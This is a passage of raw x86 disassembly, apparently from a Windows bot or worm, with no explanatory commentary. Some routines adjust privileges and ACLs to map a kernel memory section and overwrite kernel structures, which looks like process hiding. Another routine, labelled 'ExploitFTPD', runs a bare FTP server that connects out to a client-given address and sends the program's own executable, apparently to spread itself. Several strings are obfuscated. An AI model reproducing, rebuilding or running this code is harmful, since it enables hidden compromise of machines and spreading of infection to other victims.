sub_401C99+7j and dword_44D68C, 0 retn sub_401C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CB1 proc near ; CODE XREF: sub_401D57+9Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push esi lea eax, [ebp+var_8] push edi xor esi, esi push eax lea eax, [ebp+var_C] push esi push eax push esi push esi push 4 push 6 push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi call dword_42F01C ; GetSecurityInfo test eax, eax jnz short loc_401D53 push 20h lea eax, [ebp+var_2C] push esi push eax call sub_4221F0 add esp, 0Ch lea ecx, [ebp+var_4] xor eax, eax mov [ebp+var_2C], 2 push ecx lea ecx, [ebp+var_2C] push [ebp+var_C] inc eax mov [ebp+var_28], eax mov [ebp+var_24], esi push ecx push eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], offset aCurrent_user ; "CURRENT_USER" mov [ebp+var_4], esi call dword_42F020 ; SetEntriesInAclA test eax, eax jnz short loc_401D39 push esi push [ebp+var_4] push esi push esi push 4 push 6 push [ebp+arg_0] call dword_42F024 ; SetSecurityInfo test eax, eax jz short loc_401D53 loc_401D39: ; CODE XREF: sub_401CB1+6Fj cmp [ebp+var_8], esi mov edi, dword_42F030 jz short loc_401D49 push [ebp+var_8] call edi ; dword_42F030 loc_401D49: ; CODE XREF: sub_401CB1+91j cmp [ebp+var_4], esi jz short loc_401D53 push [ebp+var_4] call edi ; dword_42F030 loc_401D53: ; CODE XREF: sub_401CB1+2Aj ; sub_401CB1+86j ... pop edi pop esi leave retn sub_401CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D57 proc near ; CODE XREF: sub_40203F+C2p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 20h mov eax, dword_44C4F4 mov ecx, dword_44C4F8 push ebx push edi xor ebx, ebx xor edi, edi cmp eax, 6 mov edx, 39000h jnz short loc_401D82 cmp ecx, ebx jnz loc_401E43 mov edi, edx loc_401D82: ; CODE XREF: sub_401D57+1Fj cmp eax, 5 jnz loc_401E24 cmp ecx, ebx jz short loc_401D98 cmp ecx, 1 jnz loc_401E1B loc_401D98: ; CODE XREF: sub_401D57+36j mov edi, edx loc_401D9A: ; CODE XREF: sub_401D57+E6j push esi lea eax, [ebp+var_8] push offset off_432E04 push eax call dword_44D684 ; RtlInitUnicodeString lea eax, [ebp+var_8] mov esi, offset dword_44D694 mov [ebp+var_18], eax lea eax, [ebp+var_20] push eax push 6 push esi mov [ebp+var_20], 18h mov [ebp+var_1C], ebx mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx call dword_44D688 ; ZwOpenSection cmp eax, 0C0000022h jnz short loc_401E11 lea eax, [ebp+var_20] push eax push 60000h push esi call dword_44D688 ; ZwOpenSection push dword_44D694 call sub_401CB1 pop ecx push dword_44D694 call dword_42F038 ; CloseHandle lea eax, [ebp+var_20] push eax push 6 push esi call dword_44D688 ; ZwOpenSection loc_401E11: ; CODE XREF: sub_401D57+83j cmp eax, ebx pop esi jge short loc_401E48 push 0FFFFFFFEh pop eax jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E1B: ; CODE XREF: sub_401D57+3Bj cmp ecx, 2 jnz short loc_401E3B mov edi, edx jmp short loc_401E3B ; --------------------------------------------------------------------------- loc_401E24: ; CODE XREF: sub_401D57+2Ej cmp eax, 4 jnz short loc_401E3B cmp ecx, ebx jnz short loc_401E3B cmp dword_44C500, 2 jnz short loc_401E3B mov edi, 30000h loc_401E3B: ; CODE XREF: sub_401D57+C7j ; sub_401D57+CBj ... cmp edi, ebx jnz loc_401D9A loc_401E43: ; CODE XREF: sub_401D57+23j or eax, 0FFFFFFFFh jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E48: ; CODE XREF: sub_401D57+BDj push 1000h push edi push ebx push 6 push dword_44D694 call dword_42F034 ; MapViewOfFile xor ecx, ecx cmp eax, ebx setnz cl mov dword_44D690, eax lea ecx, ds:0FFFFFFFDh[ecx*4] mov eax, ecx loc_401E72: ; CODE XREF: sub_401D57+C2j ; sub_401D57+EFj pop edi pop ebx leave retn sub_401D57 endp ; =============== S U B R O U T I N E ======================================= sub_401E76 proc near ; CODE XREF: sub_40203F+127p ; sub_40203F:loc_40217Fp mov eax, dword_44D690 test eax, eax jz short loc_401E86 push eax call dword_42F03C ; UnmapViewOfFile loc_401E86: ; CODE XREF: sub_401E76+7j mov eax, dword_44D694 test eax, eax jz short loc_401E96 push eax call dword_42F038 ; CloseHandle loc_401E96: ; CODE XREF: sub_401E76+17j and dword_44D690, 0 and dword_44D694, 0 retn sub_401E76 endp ; =============== S U B R O U T I N E ======================================= sub_401EA5 proc near ; CODE XREF: sub_401F1D+Bp ; sub_401F6E+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi test eax, eax push edi jz short loc_401F18 mov edi, [esp+8+arg_4] mov ecx, edi shr ecx, 16h mov eax, [eax+ecx*4] test al, 1 jz short loc_401F18 test al, al jns short loc_401ED1 mov esi, eax xor esi, edi and esi, 3FFFFFh xor esi, eax jmp short loc_401F14 ; --------------------------------------------------------------------------- loc_401ED1: ; CODE XREF: sub_401EA5+1Cj and ax, 0F000h push 1000h push eax push 0 push 0F001Fh push dword_44D694 call dword_42F034 ; MapViewOfFile mov ecx, edi shr ecx, 0Ch and ecx, 3FFh mov ecx, [eax+ecx*4] test cl, 1 jz short loc_401F18 mov esi, ecx push eax xor esi, edi and esi, 0FFFh xor esi, ecx call dword_42F03C ; UnmapViewOfFile loc_401F14: ; CODE XREF: sub_401EA5+2Aj mov eax, esi jmp short loc_401F1A ; --------------------------------------------------------------------------- loc_401F18: ; CODE XREF: sub_401EA5+8j ; sub_401EA5+18j ... xor eax, eax loc_401F1A: ; CODE XREF: sub_401EA5+71j pop edi pop esi retn sub_401EA5 endp ; =============== S U B R O U T I N E ======================================= sub_401F1D proc near ; CODE XREF: sub_40203F+D1p ; sub_40203F+DFp ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] push dword_44D690 call sub_401EA5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_401F53 and ax, 0F000h push 1000h push eax push 0 push 4 push dword_44D694 call dword_42F034 ; MapViewOfFile test eax, eax jnz short loc_401F57 loc_401F53: ; CODE XREF: sub_401F1D+16j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_401F57: ; CODE XREF: sub_401F1D+34j shr esi, 2 and esi, 3FFh push eax mov esi, [eax+esi*4] call dword_42F03C ; UnmapViewOfFile mov eax, esi pop esi retn sub_401F1D endp ; =============== S U B R O U T I N E ======================================= sub_401F6E proc near ; CODE XREF: sub_40203F+10Fp ; sub_40203F+11Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] push dword_44D690 call sub_401EA5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_401FA4 and ax, 0F000h push 1000h push eax push 0 push 2 push dword_44D694 call dword_42F034 ; MapViewOfFile test eax, eax jnz short loc_401FA8 loc_401FA4: ; CODE XREF: sub_401F6E+16j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_401FA8: ; CODE XREF: sub_401F6E+34j mov ecx, [esp+4+arg_4] push eax shr esi, 2 and esi, 3FFh mov [eax+esi*4], ecx call dword_42F03C ; UnmapViewOfFile xor eax, eax pop esi inc eax retn sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FC4 proc near ; CODE XREF: sub_40203F+AEp ; sub_40203F+134p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax push 28h call dword_42F040 ; GetCurrentProcess push eax call dword_42F010 ; OpenProcessToken test eax, eax jnz short loc_401FE3 leave retn ; --------------------------------------------------------------------------- loc_401FE3: ; CODE XREF: sub_401FC4+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_42F014 ; LookupPrivilegeValueA test eax, eax jz short loc_402031 mov eax, [ebp+var_10] mov [ebp+var_20], 1 mov [ebp+var_1C], eax mov eax, [ebp+var_C] mov [ebp+var_18], eax xor eax, eax cmp [ebp+arg_4], esi setz al lea eax, [eax+eax+2] mov [ebp+var_14], eax lea eax, [ebp+var_8] push eax push esi lea eax, [ebp+var_20] push 10h push eax push esi push [ebp+var_4] call dword_42F018 ; AdjustTokenPrivileges mov esi, eax loc_402031: ; CODE XREF: sub_401FC4+32j push [ebp+var_4] call dword_42F038 ; CloseHandle mov eax, esi pop esi leave retn sub_401FC4 endp ; =============== S U B R O U T I N E ======================================= sub_40203F proc near ; CODE XREF: sub_412267+131p push ebx push ebp push esi push edi push offset dword_44C4F0 mov dword_44C4F0, 94h call dword_42F044 ; GetVersionExA test eax, eax jz loc_402189 mov ecx, dword_44C4F4 mov eax, dword_44C4F8 xor edi, edi xor ebx, ebx cmp ecx, 6 jnz short loc_402082 test eax, eax jnz loc_402189 push 3Ch pop edi push 30h pop ebx loc_402082: ; CODE XREF: sub_40203F+33j cmp ecx, 5 jnz short loc_4020B9 test eax, eax jnz short loc_402097 mov edi, 0A0h mov ebx, 0A4h jmp short loc_4020E5 ; --------------------------------------------------------------------------- loc_402097: ; CODE XREF: sub_40203F+4Aj cmp eax, 1 jnz short loc_4020A8 mov edi, 88h mov ebx, 8Ch jmp short loc_4020E5 ; --------------------------------------------------------------------------- loc_4020A8: ; CODE XREF: sub_40203F+5Bj cmp eax, 2 jnz short loc_4020D5 mov edi, 8Ah mov ebx, 8Eh jmp short loc_4020D5 ; --------------------------------------------------------------------------- loc_4020B9: ; CODE XREF: sub_40203F+46j cmp ecx, 4 jnz short loc_4020D5 test eax, eax jnz short loc_4020D5 cmp dword_44C500, 2 jnz short loc_4020D5 mov edi, 98h mov ebx, 9Ch loc_4020D5: ; CODE XREF: sub_40203F+6Cj ; sub_40203F+78j ... test edi, edi jz loc_402189 test ebx, ebx jz loc_402189 loc_4020E5: ; CODE XREF: sub_40203F+56j ; sub_40203F+67j mov ebp, offset aSesecuritypriv ; "SeSecurityPrivilege" push 1 push ebp call sub_401FC4 pop ecx pop ecx call sub_401C4A test eax, eax jz loc_402189 call sub_401D57 cmp eax, 1 jnz short loc_402184 push 0FFDFF124h call sub_401F1D test eax, eax pop ecx jz short loc_40217F add eax, 44h push eax call sub_401F1D mov esi, eax pop ecx test esi, esi jz short loc_40217F lea eax, [esi+edi] push eax call sub_401F1D add esi, ebx mov edi, eax push esi call sub_401F1D pop ecx mov esi, eax test edi, edi pop ecx jz short loc_40217F test esi, esi jz short loc_40217F lea eax, [edi+4] push esi push eax call sub_401F6E pop ecx test eax, eax pop ecx jz short loc_40217F push edi push esi call sub_401F6E pop ecx test eax, eax pop ecx jz short loc_40217F call sub_401E76 call sub_401C99 push 0 push ebp call sub_401FC4 pop ecx xor eax, eax pop ecx inc eax jmp short loc_40218B ; --------------------------------------------------------------------------- loc_40217F: ; CODE XREF: sub_40203F+D9j ; sub_40203F+E9j ... call sub_401E76 loc_402184: ; CODE XREF: sub_40203F+CAj call sub_401C99 loc_402189: ; CODE XREF: sub_40203F+1Bj ; sub_40203F+37j ... xor eax, eax loc_40218B: ; CODE XREF: sub_40203F+13Ej pop edi pop esi pop ebp pop ebx retn sub_40203F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402190 proc near ; DATA XREF: sub_401477+104o ; sub_403B2C+1A20o var_16F8 = byte ptr -16F8h var_6F8 = byte ptr -6F8h var_694 = byte ptr -694h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_3F8 = dword ptr -3F8h var_3EC = dword ptr -3ECh var_3E8 = dword ptr -3E8h var_2E4 = byte ptr -2E4h var_2B0 = byte ptr -2B0h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_148 = byte ptr -148h var_138 = byte ptr -138h var_D4 = byte ptr -0D4h var_A0 = byte ptr -0A0h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_74 = byte ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_64 = byte ptr -64h var_60 = byte ptr -60h var_58 = dword ptr -58h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = byte ptr -38h var_34 = byte ptr -34h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F8h call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ABh mov esi, eax lea edi, [ebp+var_694] xor ebx, ebx rep movsd xor esi, esi push ebx inc esi push ebx mov [eax+2A4h], esi mov eax, [ebp+var_3EC] push ebx mov [ebp+var_70], eax mov eax, [ebp+var_480] push offset sub_414926 push ebx push ebx mov [ebp+var_48], esi mov [ebp+var_4C], esi mov [ebp+var_24C], ebx mov [ebp+var_3E8], ebx mov dword_44D680, eax call dword_42F158 ; CreateThread push ebx push esi push 2 call dword_454394 ; socket lea ecx, [ebp+var_48] push 4 push ecx push 4 push 0FFFFh push eax mov dword_44D66C, eax call dword_4542F0 ; setsockopt lea eax, [ebp+var_4C] push eax push 8004667Eh push dword_44D66C call dword_4543B0 ; ioctlsocket mov ax, word ptr dword_44D680 mov [ebp+var_90], 2 push eax mov [ebp+var_8C], ebx call dword_454314 ; ntohs mov [ebp+var_8E], ax lea eax, [ebp+var_90] push 10h push eax push dword_44D66C call dword_454344 ; bind test eax, eax jge short loc_40226E mov eax, esi jmp loc_4026EA ; --------------------------------------------------------------------------- loc_40226E: ; CODE XREF: sub_402190+D5j push 0Ah push dword_44D66C call dword_454340 ; listen mov eax, dword_44D66C mov [ebp+var_24C], esi mov [ebp+var_248], eax mov [ebp+var_4], eax loc_402290: ; CODE XREF: sub_402190+137j ; sub_402190+552j push 41h lea eax, [ebp+var_3E8] pop ecx lea esi, [ebp+var_24C] push ebx push ebx push ebx push eax mov eax, [ebp+var_4] lea edi, [ebp+var_3E8] inc eax rep movsd push eax call dword_4542FC ; select cmp eax, 0FFFFFFFFh jz loc_4026E7 xor esi, esi cmp [ebp+var_4], ebx mov [ebp+arg_0], esi jl short loc_402290 loc_4022C9: ; CODE XREF: sub_402190+54Cj push 64h lea eax, [ebp+var_2B0] push ebx push eax call sub_4221F0 push 64h lea eax, [ebp+var_138] push ebx push eax call sub_4221F0 add esp, 18h lea eax, [ebp+var_3E8] push eax push esi call dword_4541E4 ; __WSAFDIsSet test eax, eax jz loc_4026D5 mov eax, dword_44D66C cmp esi, eax jnz loc_402393 lea ecx, [ebp+var_20] mov [ebp+var_20], 10h push ecx lea ecx, [ebp+var_148] push ecx push eax call dword_4543A4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_58], eax jz loc_4026D5 mov edx, [ebp+var_24C] xor ecx, ecx cmp edx, ebx jbe short loc_40234C loc_40233E: ; CODE XREF: sub_402190+1BAj cmp [ebp+ecx*4+var_248], eax jz short loc_40234C inc ecx cmp ecx, edx jb short loc_40233E loc_40234C: ; CODE XREF: sub_402190+1ACj ; sub_402190+1B5j cmp ecx, edx jnz short loc_402362 cmp edx, 40h jnb short loc_402362 mov [ebp+ecx*4+var_248], eax inc [ebp+var_24C] loc_402362: ; CODE XREF: sub_402190+1BEj ; sub_402190+1C3j cmp eax, [ebp+var_4] jle short loc_40236A mov [ebp+var_4], eax loc_40236A: ; CODE XREF: sub_402190+1D5j mov esi, offset a220 ; "220\r\n" lea edi, [ebp+var_54] movsd lea eax, [ebp+var_54] push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_54] push eax push [ebp+var_58] call dword_454350 ; send jmp loc_4026D2 ; --------------------------------------------------------------------------- loc_402393: ; CODE XREF: sub_402190+177j push ebx lea eax, [ebp+var_2B0] push 64h push eax push esi call dword_454330 ; recv test eax, eax jg short loc_4023F0 mov ecx, [ebp+var_24C] xor eax, eax cmp ecx, ebx jbe short loc_4023E4 loc_4023B4: ; CODE XREF: sub_402190+230j cmp [ebp+eax*4+var_248], esi jz short loc_4023D9 inc eax cmp eax, ecx jb short loc_4023B4 jmp short loc_4023E4 ; --------------------------------------------------------------------------- loc_4023C4: ; CODE XREF: sub_402190+24Cj mov ecx, [ebp+eax*4+var_244] mov [ebp+eax*4+var_248], ecx mov ecx, [ebp+var_24C] inc eax loc_4023D9: ; CODE XREF: sub_402190+22Bj dec ecx cmp eax, ecx jb short loc_4023C4 dec [ebp+var_24C] loc_4023E4: ; CODE XREF: sub_402190+222j ; sub_402190+232j push esi call dword_4543AC ; closesocket jmp loc_4026D5 ; --------------------------------------------------------------------------- loc_4023F0: ; CODE XREF: sub_402190+216j lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_2B0] push offset aSS_0 ; "%s %s" push eax call sub_422725 lea eax, [ebp+var_138] push offset aUser ; "USER" push eax call sub_422760 add esp, 18h test eax, eax jnz short loc_402446 mov esi, offset a331 ; "331\r\n" lea edi, [ebp+var_6C] movsd lea eax, [ebp+var_6C] push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_6C] jmp loc_4026B6 ; --------------------------------------------------------------------------- loc_402446: ; CODE XREF: sub_402190+295j lea eax, [ebp+var_138] push offset aPass ; "PASS" push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40247C mov esi, offset a230 ; "230\r\n" lea edi, [ebp+var_60] movsd lea eax, [ebp+var_60] push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_60] jmp loc_4026B6 ; --------------------------------------------------------------------------- loc_40247C: ; CODE XREF: sub_402190+2CBj lea eax, [ebp+var_138] push offset aPort ; "PORT" push eax call sub_422760 pop ecx test eax, eax pop ecx jnz loc_40255C lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_74] push eax lea eax, [ebp+var_2B0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_422725 lea eax, [ebp+var_D4] push eax call sub_422B5A mov esi, eax lea eax, [ebp+var_2E4] push eax call sub_422B5A mov edi, eax push 32h lea eax, [ebp+var_D4] push ebx push eax call sub_4221F0 push edi push esi lea eax, [ebp+var_D4] push offset aXX ; "%x%x\n" push eax call sub_422063 add esp, 44h lea eax, [ebp+var_D4] push 10h push ebx push eax call sub_422AB8 mov [ebp+var_44], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_74] push eax lea eax, [ebp+var_A0] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_422063 mov esi, offset a200 ; "200\r\n" lea edi, [ebp+var_7C] add esp, 24h lea eax, [ebp+var_7C] movsd push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_7C] jmp loc_4026B6 ; --------------------------------------------------------------------------- loc_40255C: ; CODE XREF: sub_402190+301j lea eax, [ebp+var_138] push offset aRetr ; "RETR" push eax call sub_422760 pop ecx test eax, eax pop ecx jnz loc_40266A mov esi, offset a150 ; "150\r\n" lea edi, [ebp+var_C] movsd lea eax, [ebp+var_C] push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_C] push eax push [ebp+arg_0] call dword_454350 ; send lea eax, [ebp+var_80] push eax lea eax, [ebp+var_47C] push [ebp+var_3F8] push eax lea eax, [ebp+var_16F8] push [ebp+var_3EC] push eax lea eax, [ebp+var_A0] push [ebp+var_44] push eax call sub_4026F1 add esp, 1Ch test eax, eax jz short loc_40264E push [ebp+var_80] call sub_40274D pop ecx mov esi, offset a226 ; "226\r\n" test eax, eax push ebx jle short loc_402638 lea edi, [ebp+var_14] lea eax, [ebp+var_14] movsd push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_454350 ; send inc dword_455398 cmp [ebp+var_3F8], ebx jnz loc_4026C0 lea eax, [ebp+var_A0] push eax push offset aPnmnw_7rscg0 ; "PnmNw.7RScG0" push offset aSS_1 ; "%s -> %s" push offset dword_439644 push [ebp+var_70] call sub_4104F6 add esp, 14h jmp loc_4026C0 ; --------------------------------------------------------------------------- loc_402638: ; CODE XREF: sub_402190+450j lea edi, [ebp+var_1C] lea eax, [ebp+var_1C] movsd push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_1C] jmp short loc_4026B6 ; --------------------------------------------------------------------------- loc_40264E: ; CODE XREF: sub_402190+43Dj mov esi, offset a425 ; "425\r\n" lea edi, [ebp+var_28] movsd lea eax, [ebp+var_28] push ebx push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_28] jmp short loc_4026B6 ; --------------------------------------------------------------------------- loc_40266A: ; CODE XREF: sub_402190+3E1j lea eax, [ebp+var_138] push offset aQuit ; "QUIT" push eax call sub_422760 pop ecx pop ecx test eax, eax push ebx jnz short loc_40269D mov esi, offset a221 ; "221\r\n" lea edi, [ebp+var_34] movsd lea eax, [ebp+var_34] push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_34] jmp short loc_4026B6 ; --------------------------------------------------------------------------- loc_40269D: ; CODE XREF: sub_402190+4F0j mov esi, offset a503 ; "503\r\n" lea edi, [ebp+var_40] movsd lea eax, [ebp+var_40] push eax movsw call sub_422120 pop ecx push eax lea eax, [ebp+var_40] loc_4026B6: ; CODE XREF: sub_402190+2B1j ; sub_402190+2E7j ... push eax push [ebp+arg_0] call dword_454350 ; send loc_4026C0: ; CODE XREF: sub_402190+47Cj ; sub_402190+4A3j push 64h lea eax, [ebp+var_2B0] push ebx push eax call sub_4221F0 add esp, 0Ch loc_4026D2: ; CODE XREF: sub_402190+1FEj mov esi, [ebp+arg_0] loc_4026D5: ; CODE XREF: sub_402190+16Aj ; sub_402190+19Cj ... inc esi cmp esi, [ebp+var_4] mov [ebp+arg_0], esi jle loc_4022C9 jmp loc_402290 ; --------------------------------------------------------------------------- loc_4026E7: ; CODE XREF: sub_402190+129j xor eax, eax inc eax loc_4026EA: ; CODE XREF: sub_402190+D9j pop edi pop esi pop ebx leave retn 4 sub_402190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026F1 proc near ; CODE XREF: sub_402190+433p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 10h push esi push 0 push 1 push 2 call dword_454394 ; socket mov esi, [ebp+arg_18] push [ebp+arg_0] mov [ebp+var_10], 2 mov [esi], eax call dword_45434C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_454314 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword ptr [esi] call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_402747 push dword ptr [esi] call dword_4543AC ; closesocket xor eax, eax jmp short loc_40274A ; --------------------------------------------------------------------------- loc_402747: ; CODE XREF: sub_4026F1+48j xor eax, eax inc eax loc_40274A: ; CODE XREF: sub_4026F1+54j pop esi leave retn sub_4026F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40274D proc near ; CODE XREF: sub_402190+442p var_1108 = byte ptr -1108h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1108h call sub_4220C0 push ebx push esi push edi lea eax, [ebp+var_108] push 104h xor edi, edi push eax push edi call dword_42F154 ; GetModuleFileNameA lea eax, [ebp+var_108] push offset aRb ; "rb" push eax call sub_422F66 mov esi, eax pop ecx xor ebx, ebx cmp esi, edi pop ecx mov [ebp+var_4], edi jz short loc_4027FC push 2 push edi push esi call sub_422E7C push esi call sub_422CF9 push edi push edi push esi mov [ebp+var_4], eax call sub_422E7C add esp, 1Ch jmp short loc_4027F6 ; --------------------------------------------------------------------------- loc_4027AF: ; CODE XREF: sub_40274D+ADj push 1000h lea eax, [ebp+var_1108] push edi push eax call sub_4221F0 push esi push 800h lea eax, [ebp+var_1108] push 1 push eax call sub_422BE2 add esp, 1Ch test byte ptr [esi+0Ch], 20h jnz short loc_4027FC cmp eax, edi jle short loc_4027F6 push edi push eax lea eax, [ebp+var_1108] push eax push [ebp+arg_0] call dword_454350 ; send add ebx, eax loc_4027F6: ; CODE XREF: sub_40274D+60j ; sub_40274D+93j test byte ptr [esi+0Ch], 10h jz short loc_4027AF loc_4027FC: ; CODE XREF: sub_40274D+41j ; sub_40274D+8Fj push esi call sub_422B65 pop ecx push [ebp+arg_0] call dword_4543AC ; closesocket mov eax, [ebp+var_4] pop edi sub eax, ebx pop esi neg eax sbb eax, eax not eax and eax, ebx pop ebx leave retn sub_40274D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40281E proc near ; CODE XREF: sub_403B2C:loc_403C3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push 9 mov [ebp+var_4], ebx call sub_41C254 cmp eax, ebx pop ecx jle short loc_4028AB push esi mov esi, eax imul esi, 1018h push edi push ebx lea edi, dword_46D414[esi] push dword ptr [edi] call dword_42F048 ; TerminateThread cmp [edi], ebx jz short loc_402858 mov [ebp+var_4], 1 loc_402858: ; CODE XREF: sub_40281E+31j push dword_44D66C mov [edi], ebx mov dword_46D408[esi], ebx mov dword_46D40C[esi], ebx mov dword_46D410[esi], ebx mov byte ptr dword_46C408[esi], bl call dword_4543AC ; closesocket cmp [ebp+var_4], ebx pop edi pop esi jz short loc_4028AB cmp [ebp+arg_8], ebx jnz short loc_4028CD push 1 push offset aExploitftpd ; "ExploitFTPD" push offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." push offset aSSDThreadSStop ; "%s %s (%d thread(s) stopped)." push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 18h jmp short loc_4028CD ; --------------------------------------------------------------------------- loc_4028AB: ; CODE XREF: sub_40281E+14j ; sub_40281E+65j cmp [ebp+arg_8], ebx jnz short loc_4028CD push offset aExploitftpd ; "ExploitFTPD" push offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." push offset aSNoSThreadFoun ; "%s No %s thread found." push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 14h loc_4028CD: ; CODE XREF: sub_40281E+6Aj ; sub_40281E+8Bj ... pop ebx leave retn sub_40281E endp ; =============== S U B R O U T I N E ======================================= sub_4028D0 proc near ; CODE XREF: sub_402B3C+Ep ; sub_402B3C+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4028D0 endp ; =============== S U B R O U T I N E ======================================= sub_4028DA proc near ; CODE XREF: sub_402B3C+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_422F79 mov edi, eax pop ecx test edi, edi jz short loc_40290C push ebx push 0 push edi call sub_4221F0 push ebx push [esp+1Ch+arg_0] push edi call sub_4223F0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40290C: ; CODE XREF: sub_4028DA+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_4028DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402914 proc near ; CODE XREF: sub_402A06+18p ; sub_402A80+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_422F79 mov esi, eax pop ecx test esi, esi jz short loc_402960 push edi push 0 push esi call sub_4221F0 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4223F0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4223F0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_402960: ; CODE XREF: sub_402914+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_402914 endp ; =============== S U B R O U T I N E ======================================= sub_402969 proc near ; CODE XREF: sub_402A06+5Ep ; sub_402A06+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_402979 push eax call sub_4230B3 pop ecx loc_402979: ; CODE XREF: sub_402969+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_402969 endp ; =============== S U B R O U T I N E ======================================= sub_402982 proc near ; CODE XREF: 